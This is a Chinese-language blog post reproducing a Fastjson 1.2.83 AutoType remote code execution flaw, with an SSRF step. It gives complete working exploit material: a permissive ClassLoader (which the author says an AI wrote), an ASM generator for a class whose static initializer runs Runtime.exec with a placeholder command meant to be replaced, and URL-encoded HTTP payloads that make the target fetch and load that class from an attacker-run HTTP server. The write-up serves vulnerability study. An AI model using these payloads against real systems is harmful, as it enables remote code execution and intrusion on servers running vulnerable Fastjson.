前言

这个漏洞也是爆出来过了好长时间了,一直没有复现,所以这两天打算复现一下

什么是AutoType

简单理解一下,AutoType的提出是为了处理java多态场景:当把一个对象序列化生成一个字符串时,这个字符串就会丢失对象的具体信息,导致反序列化时是无法恢复成原本的子类或实现类的(简单举个例子,如果是一个Animal接口,它的实现类是dog和cat,那么序列化后,在反序列化后,fastjson就不清楚实例化成什么),所以AutoType是为了记录序列化对象的真正的类名。那么,因为@type指定的值会被当做一个java类,创建它的实例,所以就会导致很多的漏洞。
最后到1.2.83的整体AutoType的机制是:

  1. 先判断是否开启了safeMode模式,如果开启了这个模式checkAutoType会直接抛出异常,这也就意味着AutoType被禁用了
  2. 如果safeMode,被关闭,这就会进入checkAutoType去进行判断,首先匹配白名单,如果该类是在白名单中,直接就实例化,如果不在就进行下一步,也就是进行黑名单匹配,如果在黑名单,就直接抛出异常,如果不在,就进行一下步的判断
  3. 是关于autoTypeSupport是否被开启的:这个发生在如果该类都不在黑白名单中,fastjson会判断autoTypeSupport有没有开启,如果被开启,通过检查了,就会被开启,如果关闭了,那就直接抛出异常

什么是ASM

这个是此漏洞形成的前提,这里可以先放一下我们所需要的payload的格式为jar:http://...!/POC这样的格式,我们需要typename的值是他,而在javac中根本就不允许: / !这三个字符当作包名和类名,所以,这里我们需要使用ASM直接去操作字节码。ASM也就是直接可以对字节码进行操控(直接改class),而不需要编译。

1
2
3
4
public class jar:http://...!/poc{}
//这样就会报错
writer.visit(V1_8,ACC_PUBLIC,"jar:http://...!/poc",...)
//这样就可以避免了

分析

漏洞点

漏洞成立的前提是ParserConfig.class.getClassLoader()使用的ClassLoader要是一个URLClassloader
image.png|451
其实使用spring boot fat jar来启动就满足了(但是我后来使用LaunchedURLClassLoader这个加载器不知道是什么问题,获取不到资源,最后实在没有办法就让ai写了一个urlclassloader来覆盖默认的classloader)
这里把ai写的代码贴出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package com.test.fastjson5;  

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.MalformedURLException;
import java.net.URL;

/**
* 宽松加载器: 把 http:// https:// jar: file: 开头的资源名直接当 URL 打开。
*
* 与 FearsOff 研究中的"宽松环境"一致: 将 fastjson 的 defaultClassLoader
* 覆盖为该加载器, 使其:
* 1. getResourceAsStream 返回干净完整的类字节(注解检查可通过, hasJsonType=true)
* 2. findClass 用点形态(无斜杠)类名 defineClass, 使 JDK 8 能定义出
* "非法内部名"的远程类, 实例化时触发 <clinit>。
*
* 非 URL 形态的资源名(如 "POC.class")仍走父加载器, 不影响正常反序列化。
*/
public class UrlAwareClassLoader extends ClassLoader {

public UrlAwareClassLoader(ClassLoader parent) {
super(parent);
}

private boolean isUrlName(String name) {
return name != null && (name.startsWith("http://") || name.startsWith("https://")
|| name.startsWith("jar:") || name.startsWith("file:"));
}

@Override
public URL getResource(String name) {
if (isUrlName(name)) {
try {
return new URL(name);
} catch (MalformedURLException e) {
return null;
}
}
return super.getResource(name);
}

@Override
public InputStream getResourceAsStream(String name) {
URL url = getResource(name);
if (url == null) {
return null;
}
try {
return url.openStream();
} catch (IOException e) {
return null;
}
}

@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
// 模仿 URLClassLoader.findClass: 点->斜杠 拼资源路径, 取字节, defineClass
String path = name.replace('.', '/').concat(".class");
URL url = getResource(path);
if (url == null) {
throw new ClassNotFoundException(name);
}
try (InputStream is = url.openStream()) {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[4096];
int n;
while ((n = is.read(buf)) != -1) {
bos.write(buf, 0, n);
}
return defineClass(name, bos.toByteArray(), 0, bos.size());
} catch (IOException e) {
throw new ClassNotFoundException(name, e);
}
}
}

SSRF

首先是对SSRF的发现
image.png
到这里会获取到一个“资源名”,这个资源名经过测试可以是http或者是一个jar服务的,
而使用http进行测试的时候又由于上述的替换会将.替换为/,所以要采取一个简单的绕过,即127.0.0.1 ->> 2130706433,这样我们来尝试接收一下这个请求。

1
2
3
4
5
6
7
8
9
10
GET /test01?payload=%7b%22%40%74%79%70%65%22%3a%22%68%74%74%70%3a%2f%2f%32%31%33%30%37%30%36%34%33%33%3a%33%31%33%33%37%2f%50%4f%43%22%2c%22%6e%61%6d%65%22%3a%22%58%75%32%6e%22%7d HTTP/1.1
Host: 192.168.10.3:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36 Edg/152.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: keep-alive


image.png
可以请求到

RCE

继续向下跟进,会发现
image.png
只要满足false true false的话就可以直接进loadclass
image.png
首先判断className的长度,接着判断首字符是否为“[”,在判断首字符和尾字符是否为“L”和“;”,最后调用类加载器的loadClass
image.png
到这里就会抛出错误,因为确实是根本就找不到我们写的这个类,我在目录下放的是POC这个类编译出来的class文件,但是这里加载是需要http://2130706433:31337/POC这个类的,这就需要ASM技术来解决了。同时要把/换成.不然还是会被checkName拒。
image.png
最后就是拿到对应的类名和字节,definclass,然后到后面类初始化的时候会执行静态代码块。
POC为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package com.test.fastjson5;  

import org.objectweb.asm.ClassWriter;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;

import java.io.File;
import java.io.FileOutputStream;

/**
* 裸 http 形态恶意类生成器:
* - 输出"裸类字节"(不是 jar), 伺服路径直接是 .class 文件
* - this_class = http://2130706433:31337/POC (与点形态 payload 三态对齐)
* - 带 @JSONType 注解 + 无参构造器 + <clinit> 执行 calc
* * 配套 payload(点形态, 无斜杠):
* {"a":{"@type":"http:..2130706433:31337.POC","name":"Xu2n"}} * 伺服:
* cd <输出目录> && python -m http.server 31337
*/public class GenHttp {

/** IP 整数形式 + 端口, 必须与伺服端口一致 */
static final String HOST_PORT = "2130706433:31337";

/** 伺服路径, 必须与输出文件名一致 */
static final String PATH = "/POC";

/** this_class = 资源URL去掉.class = typeName 的斜杠形态 */
static final String INTERNAL_NAME = "http://" + HOST_PORT + PATH;

static final String DEFAULT_OUT = "D:/Desktop/fastjson5test/POC.class";

public static void main(String[] args) throws Exception {
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
cw.visit(Opcodes.V1_8, Opcodes.ACC_PUBLIC + Opcodes.ACC_SUPER,
INTERNAL_NAME, null, "java/lang/Object", null);

// 注解检查放行: @JSONType (RuntimeVisible)
cw.visitAnnotation("Lcom/alibaba/fastjson/annotation/JSONType;", true).visitEnd();

// <clinit>: 实例化时执行 calc MethodVisitor mv = cw.visitMethod(Opcodes.ACC_STATIC, "<clinit>", "()V", null, null);
mv.visitCode();
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", "getRuntime",
"()Ljava/lang/Runtime;", false);
mv.visitLdcInsn("calc"); // ← 改成你的命令
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", "exec",
"(Ljava/lang/String;)Ljava/lang/Process;", false);
mv.visitInsn(Opcodes.POP);
mv.visitInsn(Opcodes.RETURN);
mv.visitMaxs(0, 0);
mv.visitEnd();

// 无参构造器: fastjson 实例化必需
MethodVisitor cv = cw.visitMethod(Opcodes.ACC_PUBLIC, "<init>", "()V", null, null);
cv.visitCode();
cv.visitVarInsn(Opcodes.ALOAD, 0);
cv.visitMethodInsn(Opcodes.INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false);
cv.visitInsn(Opcodes.RETURN);
cv.visitMaxs(0, 0);
cv.visitEnd();
cw.visitEnd();

String out = args.length > 0 ? args[0] : DEFAULT_OUT;
try (FileOutputStream fos = new FileOutputStream(out)) {
fos.write(cw.toByteArray()); // ← 裸类字节, 不打 jar }
System.out.println("[+] 裸类字节已写出: " + out + " (" + new File(out).length() + " bytes)");
System.out.println("[+] this_class = " + INTERNAL_NAME);
}
}

数据包是:

1
2
3
4
5
6
7
8
9
10
11
GET /test01?payload=%7b%22%40%74%79%70%65%22%3a%22%68%74%74%70%3a%2e%2e%32%31%33%30%37%30%36%34%33%33%3a%33%31%33%33%37%2e%50%4f%43%22%2c%22%6e%61%6d%65%22%3a%22%58%75%32%6e%22%7d HTTP/1.1
Host: 192.168.231.72:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36 Edg/153.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: keep-alive


image.png

总结:上述的一切的一切都归功于一个合适的URLClassloader(等我研究研究到底是哪里的问题)

因为基础比较薄弱,有说的不对的地方求指出。

参考

Fastjson 1.2.83 RCE漏洞分析(AI) - 9eek - 博客园
https://fearsoff.org/cn/research/fastjson-1-2-83-rce